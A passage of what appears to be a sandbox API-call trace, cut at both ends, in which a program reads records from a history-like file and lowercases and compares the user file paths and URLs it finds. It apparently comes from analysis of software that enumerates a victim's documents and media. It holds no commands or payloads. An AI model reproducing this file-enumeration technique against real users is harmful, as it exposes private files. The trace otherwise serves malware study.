(_String1="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf", _String2="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx") returned -1 [0068.998] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf", _String2="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx") returned -1 [0068.998] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf", _String2="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx") returned -1 [0068.998] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf", _String2="file:///c:/users/aetadzjz/desktop/rl27ms.mkv") returned 1 [0068.998] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf", _String2="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg") returned 1 [0068.998] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf", _String2="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps") returned 1 [0068.998] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf", _String2="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png") returned 1 [0068.998] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf", _String2="https:url \x02") returned -1 [0068.998] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf", _String2="http://www.google.de/") returned -1 [0068.998] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf", _String2="https://support.microsoft.com/products/internet-explorer") returned -1 [0068.998] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf", _String2="https://support.microsoft.com/internet-explorer") returned -1 [0068.998] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf", _String2="https://ieonline.microsoft.com/favicon.ico") returned -1 [0068.998] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned -1 [0068.998] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf", _String2="http://go.microsoft.com/fwlink/") returned -1 [0068.998] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf", _String2="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico") returned -1 [0068.998] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf", _String2="http://www.msn.com/") returned -1 [0068.998] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf", _String2="https://www.google.de/") returned -1 [0068.998] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf", _String2="res://c:\\windows\\system32\\mmcndmgr.dll/views.htm") returned -1 [0068.998] wcslen (_String="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf") returned 0x34 [0068.998] SetFilePointer (in: hFile=0xc4, lDistanceToMove=27264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a80 [0068.998] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0068.998] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0068.998] SetFilePointer (in: hFile=0xc4, lDistanceToMove=27264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a80 [0068.998] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0068.998] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/g1e5VbWMA0h.ods" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods") returned="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods" [0068.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods") returned 58 [0068.998] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods", _String2="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf") returned -1 [0068.998] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg") returned -1 [0068.998] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods", _String2="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx") returned -1 [0068.998] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods", _String2="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx") returned -1 [0068.998] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods", _String2="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx") returned -1 [0068.998] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods", _String2="file:///c:/users/aetadzjz/desktop/rl27ms.mkv") returned -1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods", _String2="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg") returned -1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods", _String2="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps") returned -1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods", _String2="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png") returned -1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods", _String2="https:url \x02") returned -1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods", _String2="http://www.google.de/") returned -1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods", _String2="https://support.microsoft.com/products/internet-explorer") returned -1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods", _String2="https://support.microsoft.com/internet-explorer") returned -1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods", _String2="https://ieonline.microsoft.com/favicon.ico") returned -1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned -1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods", _String2="http://go.microsoft.com/fwlink/") returned -1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods", _String2="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico") returned -1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods", _String2="http://www.msn.com/") returned -1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods", _String2="https://www.google.de/") returned -1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods", _String2="res://c:\\windows\\system32\\mmcndmgr.dll/views.htm") returned -1 [0068.999] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods") returned 0x39 [0068.999] SetFilePointer (in: hFile=0xc4, lDistanceToMove=27520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6b80 [0068.999] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0068.999] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0068.999] SetFilePointer (in: hFile=0xc4, lDistanceToMove=27520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6b80 [0068.999] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0068.999] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/Q4sa.xls" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls" [0068.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls") returned 72 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls", _String2="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods") returned 1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls", _String2="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf") returned -1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg") returned -1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls", _String2="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx") returned -1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls", _String2="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx") returned -1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls", _String2="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx") returned -1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls", _String2="file:///c:/users/aetadzjz/desktop/rl27ms.mkv") returned 1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls", _String2="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg") returned 1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls", _String2="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps") returned 1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls", _String2="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png") returned 1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls", _String2="https:url \x02") returned -1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls", _String2="http://www.google.de/") returned -1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls", _String2="https://support.microsoft.com/products/internet-explorer") returned -1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls", _String2="https://support.microsoft.com/internet-explorer") returned -1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls", _String2="https://ieonline.microsoft.com/favicon.ico") returned -1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned -1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls", _String2="http://go.microsoft.com/fwlink/") returned -1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls", _String2="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico") returned -1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls", _String2="http://www.msn.com/") returned -1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls", _String2="https://www.google.de/") returned -1 [0068.999] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls", _String2="res://c:\\windows\\system32\\mmcndmgr.dll/views.htm") returned -1 [0068.999] wcslen (_String="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls") returned 0x47 [0068.999] SetFilePointer (in: hFile=0xc4, lDistanceToMove=27776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c80 [0069.000] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0069.000] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.000] SetFilePointer (in: hFile=0xc4, lDistanceToMove=27776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c80 [0069.000] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.000] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/Wvwv-n0sd.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/wvwv-n0sd.pptx") returned="file:///c:/users/aetadzjz/documents/wvwv-n0sd.pptx" [0069.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/wvwv-n0sd.pptx") returned 51 [0069.000] wcscmp (_String1="file:///c:/users/aetadzjz/documents/wvwv-n0sd.pptx", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls") returned 1 [0069.000] wcscmp (_String1="file:///c:/users/aetadzjz/documents/wvwv-n0sd.pptx", _String2="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods") returned 1 [0069.000] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.000] SetFilePointer (in: hFile=0xc4, lDistanceToMove=28032, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d80 [0069.000] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.000] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/t6uzSfbVzgWKneqG/Y0M9Kmq-w9nRYD9_X/RT-vVidBgwYx6u.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/rt-vvidbgwyx6u.gif") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/rt-vvidbgwyx6u.gif" [0069.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/rt-vvidbgwyx6u.gif") returned 111 [0069.000] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.000] SetFilePointer (in: hFile=0xc4, lDistanceToMove=28288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e80 [0069.000] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.000] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/M%20Py5Nq8/O0q4uA6i.mkv" | out: _Str="file:///c:/users/aetadzjz/desktop/m%20py5nq8/o0q4ua6i.mkv") returned="file:///c:/users/aetadzjz/desktop/m%20py5nq8/o0q4ua6i.mkv" [0069.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/m%20py5nq8/o0q4ua6i.mkv") returned 58 [0069.000] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.000] SetFilePointer (in: hFile=0xc4, lDistanceToMove=28544, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f80 [0069.000] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.000] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/Fd%200EikYigmitDBhxtW.flv" | out: _Str="file:///c:/users/aetadzjz/videos/fd%200eikyigmitdbhxtw.flv") returned="file:///c:/users/aetadzjz/videos/fd%200eikyigmitdbhxtw.flv" [0069.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/fd%200eikyigmitdbhxtw.flv") returned 59 [0069.000] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.001] SetFilePointer (in: hFile=0xc4, lDistanceToMove=28800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7080 [0069.001] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.001] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/TSxDZC%203HI/5H_jfktD9T3CFjg_0BPL.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/5h_jfktd9t3cfjg_0bpl.gif") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/5h_jfktd9t3cfjg_0bpl.gif" [0069.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/5h_jfktd9t3cfjg_0bpl.gif") returned 95 [0069.001] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.001] SetFilePointer (in: hFile=0xc4, lDistanceToMove=29056, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7180 [0069.001] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.001] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/p-Dos46ITrNAxv/YREQRF_sG4Jx5EDKVVL/uosL_1FJKa5.flv" | out: _Str="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/uosl_1fjka5.flv") returned="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/uosl_1fjka5.flv" [0069.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/uosl_1fjka5.flv") returned 84 [0069.001] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.001] SetFilePointer (in: hFile=0xc4, lDistanceToMove=29312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7280 [0069.001] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.001] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/XMyEoVEgMrzxAlKG.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/xmyeovegmrzxalkg.bmp") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/xmyeovegmrzxalkg.bmp" [0069.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/xmyeovegmrzxalkg.bmp") returned 78 [0069.001] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.001] SetFilePointer (in: hFile=0xc4, lDistanceToMove=29568, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7380 [0069.001] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.001] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/yeliA.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/yelia.bmp") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/yelia.bmp" [0069.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/yelia.bmp") returned 67 [0069.001] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.001] SetFilePointer (in: hFile=0xc4, lDistanceToMove=29824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7480 [0069.001] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.001] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/CJL4gO0q/YhGdbPj3CxKHLW.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/yhgdbpj3cxkhlw.gif") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/yhgdbpj3cxkhlw.gif" [0069.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/yhgdbpj3cxkhlw.gif") returned 85 [0069.001] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.002] SetFilePointer (in: hFile=0xc4, lDistanceToMove=30080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7580 [0069.002] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.002] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/p-Dos46ITrNAxv/YREQRF_sG4Jx5EDKVVL/pmRH0A5jwr.flv" | out: _Str="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/pmrh0a5jwr.flv") returned="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/pmrh0a5jwr.flv" [0069.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/pmrh0a5jwr.flv") returned 83 [0069.002] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.002] SetFilePointer (in: hFile=0xc4, lDistanceToMove=30336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7680 [0069.002] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.002] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/-noYN-oPT9XgdIzqm/aSRj.csv" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/asrj.csv") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/asrj.csv" [0069.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/asrj.csv") returned 90 [0069.002] _memicmp (_Buf1=0x287318, 